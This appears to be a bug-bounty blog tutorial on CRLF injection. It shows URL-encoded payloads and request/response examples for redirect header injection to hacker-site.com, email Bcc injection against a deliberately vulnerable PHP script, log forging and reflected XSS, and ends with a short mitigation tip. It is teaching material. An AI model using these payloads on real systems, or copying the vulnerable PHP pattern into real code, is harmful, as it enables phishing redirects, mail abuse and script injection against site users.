BOOK THIS SPACE FOR AD
ARTICLE ADIn all the operating systems that I know, CR (carriage return) and LF (line feed) characters are used to separate lines in text. For example, if you were to inspect this HTTP request at the byte level:
GET / HTTP/1.1Host: site.com
Accept: application/json
You would see that all the lines end with these two hex characters: 0D 0A . Programmers may also know them as \r (CR) and \n (LF).
CRLF injection includes many subcategories that describe CRLF injection in a specific place, but they’re still all different types of CRLF injections. These include:
header-splitting attackHTTP header injectionemail injectionlog injectionthere are probably many more of these subcategories.
In the following sections, I’m going to explain how you can exploit these two cute characters to get bounties and secure your own servers against them.
Normally CRLF characters are benign, like in a feedback text box where multiple lines are needed, but a problem arises when user input containing CRLF is blindly trusted and used in a server-side function where CRLF characters were not expected. If this happens, it might be possible for an attacker to do a number of attacks, including:
reflected XSSHTTP request smugglingemail injectionlog injectionBasically, all functions that use newlines as a delimiter are vulnerable if input is not sanitized.
To find a CRLF vulnerability, you want to logically think about where in the web application user input would be:
reflected as a header (cookies, redirects)included in a file (logs)included in a server-side request (email, server side HTTP request)To include a CRLF in a URL parameter, use these URL encoded values:
Carriage return: %0dLine feed: %0aExploiting automatic directory completion
The most common place I’ve found CRLF injection is when you request a website directory without a leading “/” and the website redirects you to a URL with a leading “/” like this:
GET /helloworld <-- no slash HTTP/1.1Host: site.com
Accept: application/json
↓
HTTP/1.1 301 Moved Permanently
Location: /hello-world/ <-- slash
We can use CRLF to inject a custom header like so:
GET /helloworld%0d%0aLocation%3A%20https%3A%2F%2Fhacker-site.com HTTP/1.1Host: site.com
Accept: application/json
↓
HTTP/1.1 302 Found
Location: /hello-world
Location: https://hacker-site.com/
Payload: /helloworld<CRLF>Location: https://hacker-site.com
Now any user that clicks that URL will be redirected to an attacker server instead of /hello-world.
Exploiting redirections
Another common place where I’ve found these are redirects. It is a great day when you find an open redirect vulnerability and CRLF injection from the same endpoint.
Here we have an API that redirects you to another website using the Location: header:
GET /api/redirect?url=https%3A%2F%2Fsite.com%2Fhello-word HTTP/1.1Host: site.com
Accept: application/json
↓
HTTP/1.1 302 Found
Location: https://site.com/hello-world
Then we can inject a custom location header into the URL parameter:
GET /api/redirect?url=%2Fhello-world%0d%0aLocation%3A%20https%3A%2F%2Fhacker-site.com HTTP/1.1Host: site.com ↑ CRLF
Accept: application/json
↓
HTTP/1.1 302 Found
Location: /hello-world
Location: https://hacker-site.com/
Payload: /hello-world<CRLF>Location: https://hacker-site.com
Once again, the user has been redirected to the hacker’s website!
Email injection
If user input that is passed into an email or its headers isn’t validated and sanitized properly, it’s possible to use CRLF to inject custom headers into the email headers.
Here’s a PHP script that is vulnerable to email injection:
<?php$name = $_POST['name'];
$replyto = $_POST['replyTo'];
$message = $_POST['message'];
$to = 'root@localhost';
$subject = 'Random subject';
$headers = "From: $name \n" .
"Reply-To: $replyto";
mail($to, $subject, $message, $headers);
?>
How the feedback was meant to be used:
POST /feedback.php HTTP/1.1Host: site.com
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
name=peter&replyTo=peter%40serious.bznes&message=Serious%20message.
To begin exploiting this, let’s take a look at what headers we could inject: https://www.rfc-editor.org/rfc/rfc4021.html . A very juicy one that I found is “Bcc”, it’s a header used to specify multiple email recipients. A perfect candidate for this exploit!
Here are the current email headers:
From: peterReply-To: peter@serious.bznes
Let’s inject a Bcc header into the “name” parameter:
POST /feedback.php HTTP/1.1Host: site.com
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
name=peter%0d%0aBcc%3A%20notaniceguy%40company.com&replyTo=peter%40serious.bznes&message=You're%20not%20a%20nice%20guy%20%3A(
Payload: peter<CRLF>Bcc:notaniceguy@company.com
Now the email headers look like this:
From: peterBcc:notaniceguy@company.com
Reply-To: peter@serious.bznes
By all logic, the feedback message should’ve gone to both the admin of the site and notaniceguy@company.com.
Log injection
In log injection, an attacker can inject custom messages into logs by using the CRLF characters. This could be done to raise false alarms and make the server administrators waste their time on bogus alerts.
Let’s say someone at the company has created his very own logging framework that puts all login attempts into logins.log in this format:
<time>:<user>:<correct credentials?>1708853728374:peter:False
1708853743574:peter:True
We could enter this as a username to trick the admin into believing his account was logged into at a specific time:
peter:False%0d%0a1708853860227:admin:TrueThis is what the logs would look like after the injection (without the dashes ofc):
1708853728374:peter:False1708853743574:peter:True
_________________________
1708853860027:peter:False|---> OUR PAYLOAD
1708853860227:admin:True |
-------------------------
Reflected XSS
Some sites may add a cookie to the browser based on user input. An example of this would be taking in the parameter “?language=en-US” and then storing it as a cookie (in a HTTP response, not in JS). If no sanitization is done, this could leave the user open to XSS.
GET /language?lang=en-US HTTP/1.1Host: site.com
Accept: text/html
↓
HTTP/1.1 301 Moved Permanently
Location: /
Set-Cookie: lang=en-US;
Here’s a payload we can use to exploit this:
en-US;<CRLF>Content-Type: text/html<CRLF>Content-Length:25<CRLF><CRLF><script>alert(1)</script>This is what it would look like in action:
GET /language?lang=en-US%3B%3C%0d%0a%3EContent-Type%3A%20text%2Fhtml%3C%0d%0a%3EContent-Length%3A25%3C%0d%0a%0d%0a%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E HTTP/1.1Host: site.com
Accept: text/html
↓
HTTP/1.1 301 Moved Permanently
Location: /
Set-Cookie: lang=en-US;
Content-Type: text/html
Content-Length:25
<script>alert(1)</script>;
The only tool I found for automating CRLF injection discovery: https://github.com/Raghavd3v/CRLFsuite
To mitigate CRLF injection, strip all CRLF characters from user input and take user input as little as possible in general.